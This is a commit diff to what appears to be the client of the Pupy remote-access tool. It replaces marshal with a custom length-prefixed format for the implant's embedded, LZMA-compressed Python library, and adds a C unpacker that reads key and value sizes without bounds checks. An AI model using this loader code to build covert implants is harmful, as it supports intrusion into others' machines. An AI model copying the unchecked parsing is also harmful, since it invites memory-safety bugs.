Do not use marshal module to load embedded library

client/gen_library_compressed_string.py

@@ -1,11 +1,10 @@
 #!/usr/bin/env python
 # -*- coding: utf-8 -*-
 import StringIO, zipfile, os.path, imp, sys, os
-import marshal
 #import pylzma
 import struct
 
-def get_encoded_library_string(filepath):
+def get_encoded_library_string(filepath, out):
 	dest = os.path.dirname(filepath)
 	if not os.path.exists(dest):
 		os.makedirs(dest)
@@ -22,7 +21,12 @@ def get_encoded_library_string(filepath):
 		]
 	])
 
-	return marshal.dumps(modules)
+	ks = len(modules)
+	out.write(struct.pack('>I', ks))
+	for k,v in modules.iteritems():
+		out.write(struct.pack('>II', len(k), len(v)))
+		out.write(k)
+		out.write(v)
 
 with open(sys.argv[1],'wb') as w:
-	w.write(get_encoded_library_string(sys.argv[2]))
+	get_encoded_library_string(sys.argv[2], w)

client/lzma/lzmaunpack.c

@@ -5,21 +5,40 @@
 
 #ifdef _WIN32
 #define ALLOC(x) VirtualAlloc(NULL, x, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
-#define FREE(x) VirtualFree(x, 0, MEM_RELEASE)
+#define FREE(x, size) VirtualFree(x, 0, MEM_RELEASE)
+#define INVALID_ALLOC NULL
 #else
-#define ALLOC(x) malloc(x)
-#define FREE(x) free(x)
+#include <sys/mman.h>
+#define ALLOC(size) mmap(NULL, size + (4096 - size%4096), PROT_WRITE	\
+						 | PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+#define FREE(x, size) munmap(x, size + (4096 - size%4096))
+#define INVALID_ALLOC MAP_FAILED
 #endif
 
 static void *_lzalloc(void *p, size_t size) { p = p; return malloc(size); }
 static void _lzfree(void *p, void *address) { p = p; free(address); }
 static ISzAlloc _lzallocator = { _lzalloc, _lzfree };
-#define lzmafree(x, size) do { memset(x, 0x0, size); FREE(x);} while (0)
+#define lzmafree(x, size) do { FREE(x, size);}  while (0)
 
 #else
 #define lzmafree(x, size) do {} while (0)
 #endif
 
+
+static unsigned int charToUInt(const char *data) {
+    union {
+      unsigned int l;
+      unsigned char c[4];
+	} x;
+
+    x.c[3] = data[0];
+	x.c[2] = data[1];
+	x.c[1] = data[2];
+	x.c[0] = data[3];
+
+	return x.l;
+}
+
 static void *lzmaunpack(const char *data, size_t size, size_t *puncompressed_size) {
 	unsigned char *uncompressed = NULL;
 	size_t uncompressed_size = 0;
@@ -34,21 +53,11 @@ static void *lzmaunpack(const char *data, size_t size, size_t *puncompressed_siz
 	int res;
 #endif
 
-    union {
-      unsigned int l;
-      unsigned char c[4];
-	} x;
-
-    x.c[3] = data[0];
-	x.c[2] = data[1];
-	x.c[1] = data[2];
-	x.c[0] = data[3];
-
-	uncompressed_size = x.l;
+	uncompressed_size = charToUInt(data);
 
 #ifndef UNCOMPRESSED
 	uncompressed = ALLOC(uncompressed_size);
-	if (!uncompressed) {
+	if (uncompressed == INVALID_ALLOC) {
 		return NULL;
 	}
 
@@ -60,7 +69,7 @@ static void *lzmaunpack(const char *data, size_t size, size_t *puncompressed_siz
 	);
 
 	if (res != SZ_OK) {
-		FREE(uncompressed);
+		FREE(uncompressed, uncompressed_size);
 		return NULL;
 	}
 #else
@@ -88,3 +97,57 @@ static PyObject *PyObject_lzmaunpack(const char *data, size_t size) {
 	lzmafree(uncompressed, uncompressed_size);
 	return object;
 }
+
+static PyObject *PyDict_lzmaunpack(const char *data, size_t size) {
+	PyObject * object = NULL;
+
+	unsigned int keys;
+	unsigned int ksize, vsize, i;
+
+	size_t offset;
+
+	PyObject *k = NULL;
+	PyObject *v = NULL;
+
+	size_t uncompressed_size = 0;
+	void *uncompressed = lzmaunpack(data, size, &uncompressed_size);
+	if (!uncompressed) {
+		return NULL;
+	}
+
+	object = PyDict_New();
+	if (!object) {
+		goto lbExit;
+	}
+
+	keys = charToUInt(uncompressed);
+
+	for (i=0, offset=4; i<keys; i++) {
+		ksize = charToUInt((char *) uncompressed + offset + 0);
+		vsize = charToUInt((char *) uncompressed + offset + 4);
+
+		offset += 8;
+
+		k = PyString_FromStringAndSize((char *) uncompressed + offset, ksize);
+		offset += ksize;
+
+		v = PyString_FromStringAndSize((char *) uncompressed + offset, vsize);
+		offset += vsize;
+
+		if (!k || !v) {
+			Py_XDECREF(k);
+			Py_XDECREF(v);
+			Py_XDECREF(object);
+			object = NULL;
+			goto lbExit;
+		}
+
+		PyDict_SetItem(object, k, v);
+		Py_DECREF(k);
+		Py_DECREF(v);
+	}
+
+ lbExit:
+	lzmafree(uncompressed, uncompressed_size);
+	return object;
+}

client/sources-linux/mktab.py

@@ -81,6 +81,10 @@ void, PyFile_SetBufSize, (PyObject *, int)
 PyObject *, PyErr_NewException, (char *name, PyObject *base, PyObject *dict)
 int, PyModule_AddObject, (PyObject *, const char *, PyObject *)
 int, PyModule_AddStringConstant, (PyObject *module, const char *name, const char *value)
+
+PyObject*, PyDict_New, ()
+PyObject*, PyString_FromStringAndSize, (const char *v, Py_ssize_t len)
+int, PyDict_SetItem, (PyObject *p, PyObject *key, PyObject *val)
 '''.strip().splitlines()
 
 import string

client/sources-linux/pupy.c

@@ -38,7 +38,7 @@ static PyObject *Py_get_modules(PyObject *self, PyObject *args)
 {
     static PyObject *modules = NULL;
     if (!modules) {
-        modules = PyObject_lzmaunpack(
+        modules = PyDict_lzmaunpack(
             library_c_start,
             library_c_size
         );

client/sources/mktab.py

@@ -73,6 +73,10 @@ void, PyEval_InitThreads, (void)
 PyObject *, PyErr_NewException, (char *name, PyObject *base, PyObject *dict)
 int, PyModule_AddObject, (PyObject *, const char *, PyObject *)
 int, PyModule_AddStringConstant, (PyObject *module, const char *name, const char *value)
+
+PyObject*, PyDict_New, ()
+PyObject*, PyString_FromStringAndSize, (const char *v, Py_ssize_t len)
+int, PyDict_SetItem, (PyObject *p, PyObject *key, PyObject *val)
 '''.strip().splitlines()
 
 

client/sources/pupy.c

@@ -65,7 +65,7 @@ static PyObject *Py_get_modules(PyObject *self, PyObject *args)
 	if (!modules) {
 		int rc;
 
-		modules = PyObject_lzmaunpack(
+		modules = PyDict_lzmaunpack(
 			library_c_start,
 			library_c_size
 		);